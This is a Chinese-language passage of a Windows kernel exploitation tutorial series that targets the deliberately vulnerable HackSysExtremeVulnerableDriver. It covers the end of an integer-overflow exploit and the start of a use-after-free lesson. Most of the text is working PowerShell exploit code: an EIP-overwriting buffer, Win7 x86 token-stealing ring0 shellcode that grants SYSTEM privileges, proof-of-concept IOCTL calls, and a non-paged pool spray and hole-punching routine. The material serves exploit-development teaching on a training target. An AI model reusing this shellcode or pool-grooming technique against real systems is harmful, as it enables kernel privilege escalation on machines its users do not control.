    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
$Buffer = [Byte[]](0x41)*0x100 + [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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完美。现在，尝试传递一个大小为0xffffffff（size）、尺寸大于驱动分配的缓冲区大小（例如0x900）的缓冲区给DeviceIoControl，来引发一个虚拟机蓝屏。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
$Buffer = [Byte[]](0x41)*0x900 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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Pwn

如前所见，我们崩溃在了异常处理例程。这并不完全可信，我们真正想要做的是一个宝贵的覆盖以致于当TriggerIntegerOverflow函数退出时可以获取执行体的控制。

我将此任务留给勤勉的读者。我给后来人“发明”了一些粗糙的Powershell代码来做这个exp开发，下面的代码可以用来创建一个模式缓冲区（pattern buffer）。

$Pattern_Create = ([system.Text.Encoding]::ASCII).GetBytes("Aa0Aa1Aa2Aa3Aa........")


覆盖函数的返回值为0x42424242，我们可以使用下面的结构。

$Buffer = [Byte[]](0x41)*0x828 + [Byte[]](0x42)*0x4 + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff


与内核栈溢出类似，我们得看看要如何修改shellcode的尾部来防止一个BSOD！首先让我们看看正常的执行流如何执行。我们在TriggerIntegerOverflow返回指令下一个断点。
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kd> bp 9528c9b4
kd> g
****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x023CAAEC
[+] UserBuffer Size: 0x108
[+] KernelBuffer: 0xA46B72AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800     ret     8     <-------[Stack]  a46b7ad4 9528c9da HackSysExtremeVulnerableDriver+0x49da
                                                   a46b7ad8 023cabf0 
                                                   a46b7adc 00000108 
                                                   a46b7ae0 a46b7afc 
                                                   a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
HackSysExtremeVulnerableDriver+0x49da:
9528c9da 5d         pop     ebp   <-------[Stack]  a46b7ae0 a46b7afc 
                                                   a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                                                   a46b7ae8 85edde80
HackSysExtremeVulnerableDriver+0x49db:
9528c9db c20800     ret     8     <-------[Stack]  a46b7ae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6
                                                   a46b7ae8 85edde80 
                                                   a46b7aec 85eddef0 
                                                   a46b7af0 85396620 

****** HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW ******
[+] UserBuffer: 0x0234FAA4
[+] UserBuffer Size: 0xFFFFFFFF
[+] KernelBuffer: 0x96F4F2AC
[+] KernelBuffer Size: 0x800
[+] Triggering Integer Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x49b4:
9528c9b4 c20800     ret     8     <-------[Stack]  96f4fad4 42424242 
                                                   96f4fad8 023502d0 
                                                   96f4fadc ffffffff 
                                                   96f4fae0 96f4fafc 
                                                   96f4fae4 9528d0e6 HackSysExtremeVulnerableDriver+0x50e6


看起来和第十部分处理的栈溢出完全一致。检查一下触发整数溢出时的栈。

我们可以修改shellcode的结尾，保存丢失的指令。

$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)


大功告成

请参考下面的完整exp获取更多信息。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);  
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0x31, 0xC0,                         # NTSTATUS -> STATUS_SUCCESS :p
    0x5D,                               # pop ebp
    0xC2, 0x08, 0x00                    # ret 8
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$EIP = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: $("{0:X8}" -f $Pointer.ToInt32())"
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
$Buffer = [Byte[]](0x41)*0x828 + $EIP + [System.BitConverter]::GetBytes(0xbad0b0b0)
$Size = 0xffffffff
echo "`n[>] Sending buffer.."
echo "[+] Buffer size: $($Buffer.Length)"
echo "[+] Fake buffer size: $("{0:X}" -f $Size)"
echo "[+] IOCTL: 0x222027`n"
[EVD]::DeviceIoControl($hDevice, 0x222027, $Buffer, $Size, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


[image: ]






  
  
  Welcome file
  





  第十五部分：内核利用程序之UAF

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第六篇。点击查看原文。


欢迎回到Windows exploit开发系列教程的第十五部分。今天我们来学习基于@HackSysTeam’s驱动漏洞的另一种利用姿势。本文我们将写一个UAF（释放后重用）漏洞的exp，这也是首个较为复杂的漏洞课程。我建议读者耐心回顾一下下方列出的资料，它们提供了内核池内存以及保留对象相关知识的易于理解的说明。搭建环境的更多细节请参考本系列教程的第十部分。


	HackSysExtremeVulnerableDriver (@HackSysTeam) - here

	HackSysTeam-PSKernelPwn (@FuzzySec) - here

	Kernel Pool Exploitation on Windows 7 (Tarjei Mandt) - here

	Reserve Objects in Windows 7 (@j00ru) - here



侦查挑战

本文的侦查这部分有点不太一样，该UAF漏洞中有相当数量的驱动函数卷入进来。我们会逐一审视，最终酌情提供一些细节。

NTSTATUS AllocateUaFObject() {
    NTSTATUS Status = STATUS_SUCCESS;
    PUSE_AFTER_FREE UseAfterFree = NULL;
 
    PAGED_CODE();
 
    __try {
        DbgPrint("[+] Allocating UaF Object\n");
 
        // Allocate Pool chunk
        UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
                                                              sizeof(USE_AFTER_FREE),
                                                              (ULONG)POOL_TAG);
 
        if (!UseAfterFree) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
        }
 
        // Fill the buffer with ASCII 'A'
        RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
 
        // Null terminate the char buffer
        UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
 
        // Set the object Callback function
        UseAfterFree->Callback = &UaFObjectCallback;
 
        // Assign the address of UseAfterFree to a global variable
        g_UseAfterFreeObject = UseAfterFree;
 
        DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
        DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
        DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


函数分配了非分页内存池块，并用’A’字符填充，指派了一个回调函数指针并添加了一个null结束符。IDA中基本一致，下面的截图可以用来参考。注意对象尺寸是0x58字节，池标签为"Hack"(小端)。
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我们可以用下面的PowerShell POC来调用这个函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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NTSTATUS FreeUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    PAGED_CODE();
 
    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Freeing UaF Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
 
#ifdef SECURE
            // Secure Note: This is secure because the developer is setting
            // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
 
            g_UseAfterFreeObject = NULL;
#else
            // Vulnerability Note: This is a vanilla Use After Free vulnerability
            // because the developer is not setting 'g_UseAfterFreeObject' to NULL.
            // Hence, g_UseAfterFreeObject still holds the reference to stale pointer
            // (dangling pointer)
            ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
 
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


对等考虑，上面的函数对引用标签值的内存池块进行了释放。这个函数包含了UAF漏洞的关键点——在对象被释放后，"g_UseAfterFreeObject"没有置空。这就留下了一个野指针。我们再次试试下面的POC。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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注意到该内存块地址和前面分配的是同一个。

NTSTATUS UseUaFObject() {
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
 
    PAGED_CODE();
 
    __try {
        if (g_UseAfterFreeObject) {
            DbgPrint("[+] Using UaF Object\n");
            DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
            DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
            DbgPrint("[+] Calling Callback\n");
 
            if (g_UseAfterFreeObject->Callback) {
                g_UseAfterFreeObject->Callback();
            }
 
            Status = STATUS_SUCCESS;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


该函数从"g_UseAfterFreeObject"读取值并执行该对象的回调函数。如果我们通过下面的POC调用该函数，那么最终以调用到一个不稳定的内存地址而告终，这是因为系统可以自由的把前面释放掉的内存块用于其他目的，只要它合适。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


最终，经过一些谋划，我们找到这样一个驱动函数：它允许我们在非分页内存池上分配一个伪造的对象；更为方便的，该函数允许我们把对象分配到原本的UAF对象所在的位置上。

NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
    NTSTATUS Status = STATUS_SUCCESS;
    PFAKE_OBJECT KernelFakeObject = NULL;
 
    PAGED_CODE();
 
    __try {
        DbgPrint("[+] Creating Fake Object\n");
 
        // Allocate Pool chunk
        KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
                                                               sizeof(FAKE_OBJECT),
                                                               (ULONG)POOL_TAG);
 
        if (!KernelFakeObject) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
        }
 
        // Verify if the buffer resides in user mode
        ProbeForRead((PVOID)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
 
        // Copy the Fake structure to Pool chunk
        RtlCopyMemory((PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT));
 
        // Null terminate the char buffer
        KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
 
        DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


调用该函数的POC在下方。注意，这里我们需要精心制作一个缓冲区并提供一个输入长度。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
   
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
  
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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Pwn

很好，基本原理上面已经说明。


	我们分配一个UAF对象。

	我们释放掉UAF对象。

	我们使用伪造的对象占坑释放掉的UAF对象内存。

	我们用野指针调用UAF对象的callback函数，此时callback函数指针已经由伪造的对象来决定了。



非常好，也非常简单！

唯一的麻烦在于我们可能遇到内存对齐以及内存池块合并的问题，这里我再次推荐你阅读Tarjei的paper。本质上来说，如果我们释放掉的UAF对象与其他空闲的内存池块毗邻的话，出于性能的考虑，内存分配器会合并这些块。一旦发生这种情况，我们很可能就无法用伪造的对象来占坑了。为了避免这种情况，我们需要对非分页内存池的状态有一个全盘的预测，强制驱动在UAF对象的位置分配内存给我们，以便于后面的覆盖！

我们的第一个目标在于填充，尽可能的把所有非分页内存池“起始”的空闲空间填满。为此我们需要创建一大堆与UAF对象尺寸相近的对象。IoCompletionReverse对象是一个完美的候选者，它在非分页内存池上分配且尺寸为0x60！

首先，在喷射（Spray）内存池之前，让我们先看看IoCompletionReserve的对象类型（对象类型可以通过"!object \ObjectTypes"来查看）。
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我们可以使用NtAllocateReserveObject函数来创建IoCo对象。该函数返回一个创建对象的句柄，只要我们不释放该句柄，这个对象将永远在内存池中保留分配态。在下面的POC中我喷射了这些对象到两个位置：


	10000个对象用于填充碎片化内存池空间。

	5000个对象如期的连在一起。



出于调试的目的，该脚本转储了最后的10个句柄到标准输出并且会在WinDBG中自动设置一个断点。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()


你可以看到这些输出，并在WinDBG上命中断点。
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如果我们再看看IoCompletionReserve类型，就可以发现实际上分配了15000个对象！
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让我们观察一个标准输出中转储的句柄。
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如期所致，这是个IoCompletionReserve对象。同时，考虑到这是我们喷射的最后一批句柄，它们应该在非分页内存池上被连续的分配。
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很好，我们看到对象的尺寸是0x60(96)个字节，它们稳定的在内存池中连续分配！最后一步我们会在POC中添加一个例程，用于释放第二次喷射中偶数次分配的IoCompletionReserve对象（一共2500个）来在非分页内存池上挖坑。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);
 
    [DllImport("ntdll.dll", SetLastError = true)]
    public static extern int NtAllocateReserveObject(
        ref IntPtr hObject,
        UInt32  ObjectAttributes,
        UInt32 ObjectType);
         
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@
 
function IoCo-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray1 += $Spray
    echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $hObject = [IntPtr]::Zero
        $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
        if ($CallResult -eq 0) {
            $Spray += $hObject
        }
    }
    $Script:IoCo_hArray2 += $Spray
    echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
        $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
        if ($CallResult -ne 0) {
            $FreeCount += 1
        }
    }
    echo "[+] Free'd $FreeCount IoCo objects!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
